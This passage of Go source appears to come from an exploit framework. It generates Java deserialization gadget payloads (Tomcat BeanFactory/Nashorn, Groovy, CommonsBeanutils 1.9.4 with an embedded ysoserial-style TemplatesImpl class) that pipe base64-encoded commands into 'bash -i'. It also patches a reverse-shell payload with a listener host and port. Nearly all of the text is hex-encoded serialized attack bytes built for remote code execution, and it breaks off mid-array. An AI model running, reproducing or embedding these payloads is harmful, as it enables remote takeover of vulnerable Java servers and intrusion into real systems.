"\x29\x7d\x70\x70\x70\x70\x70\x78\x74\x00\x25\x6f\x72\x67\x2e\x61" + "\x70\x61\x63\x68\x65\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x66\x61\x63" + "\x74\x6f\x72\x79\x2e\x42\x65\x61\x6e\x46\x61\x63\x74\x6f\x72\x79" + "\x70\x74\x00\x14\x6a\x61\x76\x61\x78\x2e\x65\x6c\x2e\x45\x4c\x50" + "\x72\x6f\x63\x65\x73\x73\x6f\x72" updatedShellPayload := strings.Replace(shellPayload, "cmd.exe", binary, 1) updatedShellPayload = strings.Replace(updatedShellPayload, "10.9.49.242", lhost, 1) updatedShellPayload = strings.Replace(updatedShellPayload, "1270", strconv.Itoa(lport), 1) if len(updatedShellPayload) < len(shellPayload) { updatedShellPayload = strings.Replace(updatedShellPayload, "aaaaaaaaaaaa", strings.Repeat("a", 12+(len(shellPayload)-len(updatedShellPayload))), 1) } else if len(shellPayload) < len(updatedShellPayload) { // technically this should look for overuse (e.g. 12 isn't enough), but doesn't updatedShellPayload = strings.Replace(updatedShellPayload, "aaaaaaaaaaaa", strings.Repeat("a", 12-(len(updatedShellPayload)-len(shellPayload))), 1) } return updatedShellPayload } // This creates a generic bash command that will be execute via nashorn // as bash,-c,. This gadget has been pre-compiled (because) // we aren't executing in Java) so the size has to be adjusted. This // function will autoadjust the commands size'. func createTomcatGenericGadget(command string) string { if len(command) > 186 { output.PrintFrameworkError("The requested command is too long. The exploit will fail.") return "" } // pad the command out command += strings.Repeat("#", 186-len(command)) complete := "\xac\xed" + "\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" + "\x52\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72" + "\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x6e\x61\x6d" + "\x69\x6e\x67\x2e\x41\x62\x73\x74\x72\x61\x63\x74\x52\x65\x66\x00" + "\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72\x00\x16\x6a\x61" + "\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x66\x65\x72" + "\x65\x6e\x63\x65\xe8\xc6\x9e\xa2\xa8\xe9\x8d\x09\x02\x00\x04\x4c" + "\x00\x05\x61\x64\x64\x72\x73\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f" + "\x75\x74\x69\x6c\x2f\x56\x65\x63\x74\x6f\x72\x3b\x4c\x00\x0c\x63" + "\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x12\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x4c\x00\x14\x63\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x4c" + "\x6f\x63\x61\x74\x69\x6f\x6e\x71\x00\x7e\x00\x04\x4c\x00\x09\x63" + "\x6c\x61\x73\x73\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x78\x70\x73" + "\x72\x00\x10\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x56\x65\x63" + "\x74\x6f\x72\xd9\x97\x7d\x5b\x80\x3b\xaf\x01\x03\x00\x03\x49\x00" + "\x11\x63\x61\x70\x61\x63\x69\x74\x79\x49\x6e\x63\x72\x65\x6d\x65" + "\x6e\x74\x49\x00\x0c\x65\x6c\x65\x6d\x65\x6e\x74\x43\x6f\x75\x6e" + "\x74\x5b\x00\x0b\x65\x6c\x65\x6d\x65\x6e\x74\x44\x61\x74\x61\x74" + "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" + "\x6a\x65\x63\x74\x3b\x78\x70\x00\x00\x00\x00\x00\x00\x00\x05\x75" + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f" + "\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" + "\x00\x78\x70\x00\x00\x00\x0a\x73\x72\x00\x1a\x6a\x61\x76\x61\x78" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x52\x65" + "\x66\x41\x64\x64\x72\x84\x4b\xf4\x3c\xe1\x11\xdc\xc9\x02\x00\x01" + "\x4c\x00\x08\x63\x6f\x6e\x74\x65\x6e\x74\x73\x71\x00\x7e\x00\x04" + "\x78\x72\x00\x14\x6a\x61\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67" + "\x2e\x52\x65\x66\x41\x64\x64\x72\xeb\xa0\x07\x9a\x02\x38\xaf\x4a" + "\x02\x00\x01\x4c\x00\x08\x61\x64\x64\x72\x54\x79\x70\x65\x71\x00" + "\x7e\x00\x04\x78\x70\x74\x00\x05\x73\x63\x6f\x70\x65\x74\x00\x00" + "\x73\x71\x00\x7e\x00\x0b\x74\x00\x04\x61\x75\x74\x68\x71\x00\x7e" + "\x00\x0f\x73\x71\x00\x7e\x00\x0b\x74\x00\x09\x73\x69\x6e\x67\x6c" + "\x65\x74\x6f\x6e\x74\x00\x04\x74\x72\x75\x65\x73\x71\x00\x7e\x00" + "\x0b\x74\x00\x0b\x66\x6f\x72\x63\x65\x53\x74\x72\x69\x6e\x67\x74" + "\x00\x06\x78\x3d\x65\x76\x61\x6c\x73\x71\x00\x7e\x00\x0b\x74\x00" + "\x01\x78\x74\x01\x65\x7b\x22\x22\x2e\x67\x65\x74\x43\x6c\x61\x73" + "\x73\x28\x29\x2e\x66\x6f\x72\x4e\x61\x6d\x65\x28\x22\x6a\x61\x76" + "\x61\x78\x2e\x73\x63\x72\x69\x70\x74\x2e\x53\x63\x72\x69\x70\x74" + "\x45\x6e\x67\x69\x6e\x65\x4d\x61\x6e\x61\x67\x65\x72\x22\x29\x2e" + "\x6e\x65\x77\x49\x6e\x73\x74\x61\x6e\x63\x65\x28\x29\x2e\x67\x65" + "\x74\x45\x6e\x67\x69\x6e\x65\x42\x79\x4e\x61\x6d\x65\x28\x22\x6e" + "\x61\x73\x68\x6f\x72\x6e\x22\x29\x2e\x65\x76\x61\x6c\x28\x22\x6e" + "\x65\x77\x20\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x50\x72\x6f" + "\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x28\x29\x2e\x63\x6f" + "\x6d\x6d\x61\x6e\x64\x28\x27\x62\x61\x73\x68\x27\x2c\x27\x2d\x63" + "\x27\x2c\x27" + command + "\x27\x29\x2e" + "\x73\x74\x61\x72\x74\x28\x29\x22\x29\x7d\x70\x70\x70\x70\x70\x78" + "\x74\x00\x25\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x6e\x61" + "\x6d\x69\x6e\x67\x2e\x66\x61\x63\x74\x6f\x72\x79\x2e\x42\x65\x61" + "\x6e\x46\x61\x63\x74\x6f\x72\x79\x70\x74\x00\x14\x6a\x61\x76\x61" + "\x78\x2e\x65\x6c\x2e\x45\x4c\x50\x72\x6f\x63\x65\x73\x73\x6f\x72" return complete } func createGroovyGenericBash(command string) string { encodedCommand := fmt.Sprintf("{echo,%s}|{base64,-d}|{bash,-i}|{ls,", b64.StdEncoding.EncodeToString([]byte(command))) if len(encodedCommand) > 157 { output.PrintFrameworkError("The requested command is too long. The exploit will fail.") return "" } // pad the command out encodedCommand += strings.Repeat("a", 157-len(encodedCommand)) encodedCommand += "}" complete := "\xac\xed" + "\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" + "\x52\x65\x66\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72" + "\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x6e\x61\x6d" + "\x69\x6e\x67\x2e\x41\x62\x73\x74\x72\x61\x63\x74\x52\x65\x66\x00" + "\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x78\x72\x00\x16\x6a\x61" + "\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x66\x65\x72" + "\x65\x6e\x63\x65\xe8\xc6\x9e\xa2\xa8\xe9\x8d\x09\x02\x00\x04\x4c" + "\x00\x05\x61\x64\x64\x72\x73\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f" + "\x75\x74\x69\x6c\x2f\x56\x65\x63\x74\x6f\x72\x3b\x4c\x00\x0c\x63" + "\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x12\x4c\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b" + "\x4c\x00\x14\x63\x6c\x61\x73\x73\x46\x61\x63\x74\x6f\x72\x79\x4c" + "\x6f\x63\x61\x74\x69\x6f\x6e\x71\x00\x7e\x00\x04\x4c\x00\x09\x63" + "\x6c\x61\x73\x73\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x78\x70\x73" + "\x72\x00\x10\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x56\x65\x63" + "\x74\x6f\x72\xd9\x97\x7d\x5b\x80\x3b\xaf\x01\x03\x00\x03\x49\x00" + "\x11\x63\x61\x70\x61\x63\x69\x74\x79\x49\x6e\x63\x72\x65\x6d\x65" + "\x6e\x74\x49\x00\x0c\x65\x6c\x65\x6d\x65\x6e\x74\x43\x6f\x75\x6e" + "\x74\x5b\x00\x0b\x65\x6c\x65\x6d\x65\x6e\x74\x44\x61\x74\x61\x74" + "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" + "\x6a\x65\x63\x74\x3b\x78\x70\x00\x00\x00\x00\x00\x00\x00\x05\x75" + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f" + "\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00" + "\x00\x78\x70\x00\x00\x00\x0a\x73\x72\x00\x1a\x6a\x61\x76\x61\x78" + "\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x52\x65" + "\x66\x41\x64\x64\x72\x84\x4b\xf4\x3c\xe1\x11\xdc\xc9\x02\x00\x01" + "\x4c\x00\x08\x63\x6f\x6e\x74\x65\x6e\x74\x73\x71\x00\x7e\x00\x04" + "\x78\x72\x00\x14\x6a\x61\x76\x61\x78\x2e\x6e\x61\x6d\x69\x6e\x67" + "\x2e\x52\x65\x66\x41\x64\x64\x72\xeb\xa0\x07\x9a\x02\x38\xaf\x4a" + "\x02\x00\x01\x4c\x00\x08\x61\x64\x64\x72\x54\x79\x70\x65\x71\x00" + "\x7e\x00\x04\x78\x70\x74\x00\x05\x73\x63\x6f\x70\x65\x74\x00\x00" + "\x73\x71\x00\x7e\x00\x0b\x74\x00\x04\x61\x75\x74\x68\x71\x00\x7e" + "\x00\x0f\x73\x71\x00\x7e\x00\x0b\x74\x00\x09\x73\x69\x6e\x67\x6c" + "\x65\x74\x6f\x6e\x74\x00\x04\x74\x72\x75\x65\x73\x71\x00\x7e\x00" + "\x0b\x74\x00\x0b\x66\x6f\x72\x63\x65\x53\x74\x72\x69\x6e\x67\x74" + "\x00\x0a\x78\x3d\x65\x76\x61\x6c\x75\x61\x74\x65\x73\x71\x00\x7e" + "\x00\x0b\x74\x00\x01\x78\x74\x00\xb2\x27\x62\x61\x73\x68\x20\x2d" + "\x63\x20" + encodedCommand + "\x27\x2e\x65\x78\x65\x63\x75\x74\x65\x28\x29\x70\x70\x70\x70\x70" + "\x78\x74\x00\x25\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x6e" + "\x61\x6d\x69\x6e\x67\x2e\x66\x61\x63\x74\x6f\x72\x79\x2e\x42\x65" + "\x61\x6e\x46\x61\x63\x74\x6f\x72\x79\x70\x74\x00\x17\x67\x72\x6f" + "\x6f\x76\x79\x2e\x6c\x61\x6e\x67\x2e\x47\x72\x6f\x6f\x76\x79\x53" + "\x68\x65\x6c\x6c" return complete } func createBeanUtils194GenericBash(command string) string { encodedCommand := fmt.Sprintf("bash -c {echo,%s}|{base64,-d}|{bash,-i}|{ls,", b64.StdEncoding.EncodeToString([]byte(command))) if len(encodedCommand) > 208 { output.PrintFrameworkError("The requested command is too long. The exploit will fail.") return "" } // pad the command out encodedCommand += strings.Repeat("a", 207-len(encodedCommand)) encodedCommand += "}" //nolint:dupword // Duplicate words () found complete := "\xac\xed" + "\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e" + "\x50\x72\x69\x6f\x72\x69\x74\x79\x51\x75\x65\x75\x65\x94\xda\x30" + "\xb4\xfb\x3f\x82\xb1\x03\x00\x02\x49\x00\x04\x73\x69\x7a\x65\x4c" + "\x00\x0a\x63\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\x74\x00\x16\x4c" + "\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6d\x70\x61\x72" + "\x61\x74\x6f\x72\x3b\x78\x70\x00\x00\x00\x02\x73\x72\x00\x2b\x6f" + "\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e" + "\x73\x2e\x62\x65\x61\x6e\x75\x74\x69\x6c\x73\x2e\x42\x65\x61\x6e" + "\x43\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\xe3\xa1\x88\xea\x73\x22" + "\xa4\x48\x02\x00\x02\x4c\x00\x0a\x63\x6f\x6d\x70\x61\x72\x61\x74" + "\x6f\x72\x71\x00\x7e\x00\x01\x4c\x00\x08\x70\x72\x6f\x70\x65\x72" + "\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x53\x74\x72\x69\x6e\x67\x3b\x78\x70\x73\x72\x00\x3f\x6f\x72\x67" + "\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e" + "\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x63\x6f\x6d\x70" + "\x61\x72\x61\x74\x6f\x72\x73\x2e\x43\x6f\x6d\x70\x61\x72\x61\x62" + "\x6c\x65\x43\x6f\x6d\x70\x61\x72\x61\x74\x6f\x72\xfb\xf4\x99\x25" + "\xb8\x6e\xb1\x37\x02\x00\x00\x78\x70\x74\x00\x10\x6f\x75\x74\x70" + "\x75\x74\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x77\x04\x00\x00" + "\x00\x03\x73\x72\x00\x3a\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x6f\x72" + "\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x78\x61\x6c\x61\x6e\x2e\x69" + "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x78\x73\x6c\x74\x63\x2e\x74\x72" + "\x61\x78\x2e\x54\x65\x6d\x70\x6c\x61\x74\x65\x73\x49\x6d\x70\x6c" + "\x09\x57\x4f\xc1\x6e\xac\xab\x33\x03\x00\x06\x49\x00\x0d\x5f\x69" + "\x6e\x64\x65\x6e\x74\x4e\x75\x6d\x62\x65\x72\x49\x00\x0e\x5f\x74" + "\x72\x61\x6e\x73\x6c\x65\x74\x49\x6e\x64\x65\x78\x5b\x00\x0a\x5f" + "\x62\x79\x74\x65\x63\x6f\x64\x65\x73\x74\x00\x03\x5b\x5b\x42\x5b" + "\x00\x06\x5f\x63\x6c\x61\x73\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76" + "\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x4c\x00\x05" + "\x5f\x6e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x11\x5f\x6f\x75" + "\x74\x70\x75\x74\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x74\x00" + "\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x50\x72\x6f\x70" + "\x65\x72\x74\x69\x65\x73\x3b\x78\x70\x00\x00\x00\x00\xff\xff\xff" + "\xff\x75\x72\x00\x03\x5b\x5b\x42\x4b\xfd\x19\x15\x67\x67\xdb\x37" + "\x02\x00\x00\x78\x70\x00\x00\x00\x02\x75\x72\x00\x02\x5b\x42\xac" + "\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x07\x64" + "\xca\xfe\xba\xbe\x00\x00\x00\x34\x00\x39\x0a\x00\x03\x00\x22\x07" + "\x00\x37\x07\x00\x25\x07\x00\x26\x01\x00\x10\x73\x65\x72\x69\x61" + "\x6c\x56\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01\x4a\x01" + "\x00\x0d\x43\x6f\x6e\x73\x74\x61\x6e\x74\x56\x61\x6c\x75\x65\x05" + "\xad\x20\x93\xf3\x91\xdd\xef\x3e\x01\x00\x06\x3c\x69\x6e\x69\x74" + "\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65\x01\x00" + "\x0f\x4c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65" + "\x01\x00\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65" + "\x54\x61\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53" + "\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65\x74\x50\x61\x79\x6c\x6f" + "\x61\x64\x01\x00\x0c\x49\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65" + "\x73\x01\x00\x35\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70" + "\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64" + "\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c\x65" + "\x74\x50\x61\x79\x6c\x6f\x61\x64\x3b\x01\x00\x09\x74\x72\x61\x6e" + "\x73\x66\x6f\x72\x6d\x01\x00\x72\x28\x4c\x63\x6f\x6d\x2f\x73\x75" + "\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c" + "\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74" + "\x63\x2f\x44\x4f\x4d\x3b\x5b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f" + "\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69" + "\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a" + "\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e" + "\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01\x00\x08\x64\x6f\x63" + "\x75\x6d\x65\x6e\x74\x01\x00\x2d\x4c\x63\x6f\x6d\x2f\x73\x75\x6e" + "\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61" + "\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63" + "\x2f\x44\x4f\x4d\x3b\x01\x00\x08\x68\x61\x6e\x64\x6c\x65\x72\x73" + "\x01\x00\x42\x5b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67" + "\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65" + "\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f" + "\x53\x65\x72\x69\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e" + "\x64\x6c\x65\x72\x3b\x01\x00\x0a\x45\x78\x63\x65\x70\x74\x69\x6f" + "\x6e\x73\x07\x00\x27\x01\x00\xa6\x28\x4c\x63\x6f\x6d\x2f\x73\x75" + "\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c" + "\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74" + "\x63\x2f\x44\x4f\x4d\x3b\x4c\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f" + "\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x6d\x6c\x2f\x69\x6e" + "\x74\x65\x72\x6e\x61\x6c\x2f\x64\x74\x6d\x2f\x44\x54\x4d\x41\x78" + "\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72\x3b\x4c\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78" + "\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73\x65\x72\x69" + "\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61" + "\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x29\x56\x01\x00" + "\x08\x69\x74\x65\x72\x61\x74\x6f\x72\x01\x00\x35\x4c\x63\x6f\x6d" + "\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f" + "\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x64\x74\x6d" + "\x2f\x44\x54\x4d\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6f\x72" + "\x3b\x01\x00\x07\x68\x61\x6e\x64\x6c\x65\x72\x01\x00\x41\x4c\x63" + "\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68" + "\x65\x2f\x78\x6d\x6c\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x73" + "\x65\x72\x69\x61\x6c\x69\x7a\x65\x72\x2f\x53\x65\x72\x69\x61\x6c" + "\x69\x7a\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x01" + "\x00\x0a\x53\x6f\x75\x72\x63\x65\x46\x69\x6c\x65\x01\x00\x0c\x47" + "\x61\x64\x67\x65\x74\x73\x2e\x6a\x61\x76\x61\x0c\x00\x0a\x00\x0b" + "\x07\x00\x28\x01\x00\x33\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f" + "\x70\x61\x79\x6c\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61" + "\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\x54\x72\x61\x6e\x73\x6c" + "\x65\x74\x50\x61\x79\x6c\x6f\x61\x64\x01\x00\x40\x63\x6f\x6d\x2f" + "\x73\x75\x6e\x2f\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78" + "\x61\x6c\x61\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73" + "\x6c\x74\x63\x2f\x72\x75\x6e\x74\x69\x6d\x65\x2f\x41\x62\x73\x74" + "\x72\x61\x63\x74\x54\x72\x61\x6e\x73\x6c\x65\x74\x01\x00\x14\x6a" + "\x61\x76\x61\x2f\x69\x6f\x2f\x53\x65\x72\x69\x61\x6c\x69\x7a\x61" + "\x62\x6c\x65\x01\x00\x39\x63\x6f\x6d\x2f\x73\x75\x6e\x2f\x6f\x72" + "\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x78\x61\x6c\x61\x6e\x2f\x69" + "\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x78\x73\x6c\x74\x63\x2f\x54\x72" + "\x61\x6e\x73\x6c\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x01" + "\x00\x1f\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f\x70\x61\x79\x6c" + "\x6f\x61\x64\x73\x2f\x75\x74\x69\x6c\x2f\x47\x61\x64\x67\x65\x74" + "\x73\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x11\x6a" + "\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x52\x75\x6e\x74\x69\x6d\x65" + "\x07\x00\x2a\x01\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65" + "\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" + "\x52\x75\x6e\x74\x69\x6d\x65\x3b\x0c\x00\x2c\x00\x2d\x0a\x00\x2b" + "\x00\x2e\x01\x00\xd0" + encodedCommand + "\x08\x00\x30\x01\x00\x04\x65\x78\x65\x63\x01" + "\x00\x27\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + "\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" + "\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x32\x00\x33\x0a\x00" + "\x2b\x00\x34\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61\x70\x54\x61" + "\x62\x6c\x65\x01\x00\x1d\x79\x73\x6f\x73\x65\x72\x69\x61\x6c\x2f" + "\x50\x77\x6e\x65\x72\x32\x38\x34\x37\x34\x35\x38\x35\x37\x35\x34" + "\x35\x36\x33\x01\x00\x1f\x4c\x79\x73\x6f\x73\x65\x72\x69\x61\x6c" + "\x2f\x50\x77\x6e\x65\x72\x32\x38\x34\x37\x34\x35\x38\x35\x37\x35" + "\x34\x35\x36\x33\x3b\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00" + "\x01\x00\x1a\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00" + "\x08\x00\x04\x00\x01\x00\x0a\x00\x0b\x00\x01\x00\x0c\x00\x00\x00" + "\x2f\x00\x01\x00\x01\x00\x00\x00\x05\x2a\xb7\x00\x01\xb1\x00\x00" + "\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x31\x00\x0e" + "\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00\x0f\x00\x38\x00\x00" + "\x00\x01\x00\x13\x00\x14\x00\x02\x00\x0c\x00\x00\x00\x3f\x00\x00" + "\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x0d\x00\x00\x00" + "\x06\x00\x01\x00\x00\x00\x35\x00\x0e\x00\x00\x00\x20\x00\x03\x00" + "\x00\x00\x01\x00\x0f\x00\x38\x00\x00\x00\x00\x00\x01\x00\x15\x00" + "\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00" + "\x00\x00\x04\x00\x01\x00\x1a\x00\x01\x00\x13\x00\x1b\x00\x02\x00" + "\x0c\x00\x00\x00\x49\x00\x00\x00\x04\x00\x00\x00\x01\xb1\x00\x00" + "\x00\x02\x00\x0d\x00\x00\x00\x06\x00\x01\x00\x00\x00\x38\x00\x0e" + "\x00\x00\x00\x2a\x00\x04\x00\x00\x00\x01\x00\x0f\x00\x38\x00\x00" + "\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x1c" + "\x00\x1d\x00\x02\x00\x00\x00\x01\x00\x1e\x00\x1f\x00\x03\x00\x19" + "\x00\x00\x00\x04\x00\x01\x00\x1a\x00\x08\x00\x29\x00\x0b\x00\x01" + "\x00\x0c\x00\x00\x00\x24\x00\x03\x00\x02\x00\x00\x00\x0f\xa7\x00" + "\x03\x01\x4c\xb8\x00\x2f\x12\x31\xb6\x00\x35\x57\xb1\x00\x00\x00" + "\x01\x00\x36\x00\x00\x00\x03\x00\x01\x03\x00\x02\x00\x20\x00\x00" + "\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0a\x00\x01\x00\x02\x00\x23" + "\x00\x10\x00\x09\x75\x71\x00\x7e\x00\x10\x00\x00\x01\xd4\xca\xfe" + "\xba\xbe\x00\x00\x00\x34\x00\x1b\x0a\x00\x03\x00\x15\x07\x00\x17" + "\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6c\x56" + "\x65\x72\x73\x69\x6f\x6e\x55\x49\x44\x01\x00\x01\x4a\x01\x00\x0d" + "\x43\x6f\x6e\x73\x74\x61\x6e\x74\x56\x61\x6c\x75\x65\x05\x71\xe6" + "\x69\xee\x3c\x6d\x47\x18\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01" + "\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0f\x4c" + "\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62\x6c\x65\x01\x00" + "\x12\x4c\x6f\x63\x61\x6c\x56\x61\x72\x69\x61\x62\x6c\x65\x54\x61" + "\x62\x6c\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x03\x46\x6f\x6f" + "\x01\x00\x0c\x49\x6e\x6e\x65\x72\x43\x6c\x61\x73\x73\x65\x73\x01" + 